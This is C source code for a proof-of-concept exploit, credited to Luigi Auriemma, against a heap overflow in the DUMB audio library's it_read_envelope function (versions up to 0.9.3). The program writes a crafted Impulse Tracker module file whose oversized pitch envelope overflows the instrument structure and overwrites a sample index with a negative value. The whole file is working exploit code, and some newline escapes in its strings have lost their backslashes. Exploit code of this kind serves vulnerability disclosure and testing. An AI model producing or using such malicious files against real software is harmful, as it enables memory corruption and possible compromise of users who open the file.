Code:
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#define VER "0.1"
#define BOF 255 // 25 < BOF < 256
#define INSTRSZ 371
#define POCNAME "proof-of-concept"
void fwi08(FILE *fd, int num);
void fwi16(FILE *fd, int num);
void fwi32(FILE *fd, int num);
void fwb08(FILE *fd, int num);
void fwb16(FILE *fd, int num);
void fwb32(FILE *fd, int num);
void fwstr(FILE *fd, uint8_t *str);
void fwstx(FILE *fd, uint8_t *str, int size);
void fwmem(FILE *fd, uint8_t *data, int size);
int bits2num(uint8_t *bits);
void std_err(void);
#pragma pack(1)
typedef struct {
uint8_t sign[4]; // IMPM
uint8_t name[26];
uint16_t PHiligt;
uint16_t OrdNum;
uint16_t InsNum;
uint16_t SmpNum;
uint16_t PatNum;
uint16_t Cwtv;
uint16_t Cmwt;
uint16_t Flags;
uint16_t Special;
uint8_t GV;
uint8_t MV;
uint8_t IS;
uint8_t IT;
uint8_t Sep;
uint8_t PWD;
uint16_t MsgLgth;
uint32_t MsgOff;
uint32_t Reserved;
} it_t;
typedef struct {
uint8_t Flg;
uint8_t Num;
uint8_t LpB;
uint8_t LpE;
uint8_t SLB;
uint8_t SLE;
// int8_t node_y[25];
// uint16_t node_t[25];
} it_env_t;
typedef struct {
uint8_t sign[4]; // IMPI
uint8_t filename[13];
uint8_t NNA;
uint8_t DCT;
uint8_t DCA;
uint16_t FadeOut;
uint8_t PPS;
uint8_t PPC;
uint8_t GbV;
uint8_t DfP;
uint8_t RV;
uint8_t RP;
uint16_t TrkVers;
uint16_t NoS;
uint8_t insname[26];
uint8_t IFC;
uint8_t IFR;
uint8_t MCh;
uint8_t MPr;
uint16_t MIDIBnk;
uint8_t nsample[120];
uint8_t ktable[120];
} it_ins_t;
#pragma pack()
int main(int argc, char *argv[]) {
FILE *fd;
it_t it;
it_ins_t it_ins;
it_env_t it_env;
int i,
off;
char *fname;
setbuf(stdout, NULL);
fputs("n"
"Dumb <= 0.9.3 (CVS 16 Jul 2006) heap overflow in it_read_envelope "VER"n"
"by Luigi Auriemman"
"e-mail: n"
"web: aluigi.orgn"
"n", stdout);
if(argc < 2) {
printf("n"
"Usage: %s <output_file.IT>n"
"n"
"Note: this proof-of-concept is not optimized, it gives only an idea of the bugn"
"n", argv[0]);
exit(1);
}
fname = argv[1];
printf("- create file %sn", fname);
fd = fopen(fname, "wb");
if(!fd) std_err();
memset(&it, 0, sizeof(it));
memcpy(it.sign, "IMPM", 4);
strncpy(it.name, POCNAME, sizeof(it.name));
it.Cmwt = 0x200;
it.OrdNum = 1; // required
it.InsNum = 1; // envelope is read here
off =
sizeof(it) +
64 +
64 +
(it.OrdNum * 1) +
(it.InsNum * 4) +
(it.SmpNum * 4) +
(it.PatNum * 4);
for(i = 0; i < off; i++) fputc(0, fd); // create needed space
/* it_read_instrument */
memset(&it_ins, 0, sizeof(it_ins));
memcpy(it_ins.sign, "IMPI", 4);
strncpy(it_ins.filename, POCNAME, sizeof(it_ins.filename));
strncpy(it_ins.insname, POCNAME, sizeof(it_ins.insname));
fwrite(&it_ins, sizeof(it_ins), 1, fd);
/* it_read_envelope */
memset(&it_env, 0, sizeof(it_env));
/* instrument->volume_envelope */
it_env.Num = 25;
fwrite(&it_env, sizeof(it_env), 1, fd);
for(i = 0; i < it_env.Num; i++) {
fwi08(fd, 0x61); // envelope->node_y[i]
fwi16(fd, 0x6161); // envelope->node_t[i]
}
for(i = 75 - (it_env.Num * 3) + 1; i; i--) {
fwi08(fd, 0); // 75 - envelope->n_nodes * 3 + 1
}
/* instrument->pan_envelope */
it_env.Num = 25;
fwrite(&it_env, sizeof(it_env), 1, fd);
for(i = 0; i < it_env.Num; i++) {
fwi08(fd, 0x62); // envelope->node_y[i]
fwi16(fd, 0x6262); // envelope->node_t[i]
}
for(i = 75 - (it_env.Num * 3) + 1; i; i--) {
fwi08(fd, 0); // 75 - envelope->n_nodes * 3 + 1
}
/* instrument->pitch_envelope */
it_env.Num = BOF;
fwrite(&it_env, sizeof(it_env), 1, fd);
for(i = 0; i < it_env.Num; i++) {
fwi08(fd, 0xff); // envelope->node_y[i]
fwi16(fd, 0xffff); // envelope->node_t[i]
}
/* 0xff is used for overwriting sampfirst with a negative value! */
/* m = component[n].sampfirst; */
/* Note: this PoC is not optimized */
printf(
"- the IT_INSTRUMENT structure will be overflowed:n"
" there are %d bytes from the end of pitch_envelope to the end of map_samplen"
" while %d bytes will be written by this proof-of-conceptn",
INSTRSZ,
((BOF - 25) * sizeof(unsigned short)) + INSTRSZ);
/* it_load_sigdata */
fseek(fd, 0, SEEK_SET);
fwrite(&it, sizeof(it), 1, fd);
for(i = 0; i < 64; i++) fwi08(fd, 0); // sigdata->channel_pan
for(i = 0; i < 64; i++) fwi08(fd, 0); // sigdata->channel_volume
for(i = 0; i < it.OrdNum; i++) {
fwi08(fd, 255); // sigdata->order
} // 255 for found_some = 0 or will SIGFPE
for(i = 0; i < it.InsNum; i++) {
fwi32(fd, off); // component[n_components].offset
}
// for(i = 0; i < it.SmpNum; i++) fwi32(fd, off);
// for(i = 0; i < it.PatNum; i++) fwi32(fd, off);
// for(i = 0; i < it.MsgLgth; i++) fwi08(fd, 'a');
fclose(fd);
printf("- finishedn");
return(0);
}
void fwi08(FILE *fd, int num) {
fputc((num ) & 0xff, fd);
}
void fwi16(FILE *fd, int num) {
fputc((num ) & 0xff, fd);
fputc((num >> 8) & 0xff, fd);
}
void fwi32(FILE *fd, int num) {
fputc((num ) & 0xff, fd);
fputc((num >> 8) & 0xff, fd);
fputc((num >> 16) & 0xff, fd);
fputc((num >> 24) & 0xff, fd);
}
void fwb08(FILE *fd, int num) {
fputc((num ) & 0xff, fd);
}
void fwb16(FILE *fd, int num) {
fputc((num >> 8) & 0xff, fd);
fputc((num ) & 0xff, fd);
}
void fwb32(FILE *fd, int num) {
fputc((num >> 24) & 0xff, fd);
fputc((num >> 16) & 0xff, fd);
fputc((num >> 8) & 0xff, fd);
fputc((num ) & 0xff, fd);
}
void fwstr(FILE *fd, uint8_t *str) {
fputs(str, fd);
}
void fwstx(FILE *fd, uint8_t *str, int size) {
int i;
for(i = 0; str[i] && (i < size); i++) {
fputc(str[i], fd);
}
for(; i < size; i++) {
fputc(0, fd);
}
}
void fwmem(FILE *fd, uint8_t *data, int size) {
fwrite(data, size, 1, fd);
}
int bits2num(uint8_t *bits) {
int i,
out = 0;
for(i = 0; i < 32; i++) {
if(bits[i] == '1') {
out = (out << 1) | 1;
} else if(bits[i] == '0') {
out <<= 1;
} else {
break;
}
}
return(out);
}
void std_err(void) {
perror("nError");
exit(1);
} |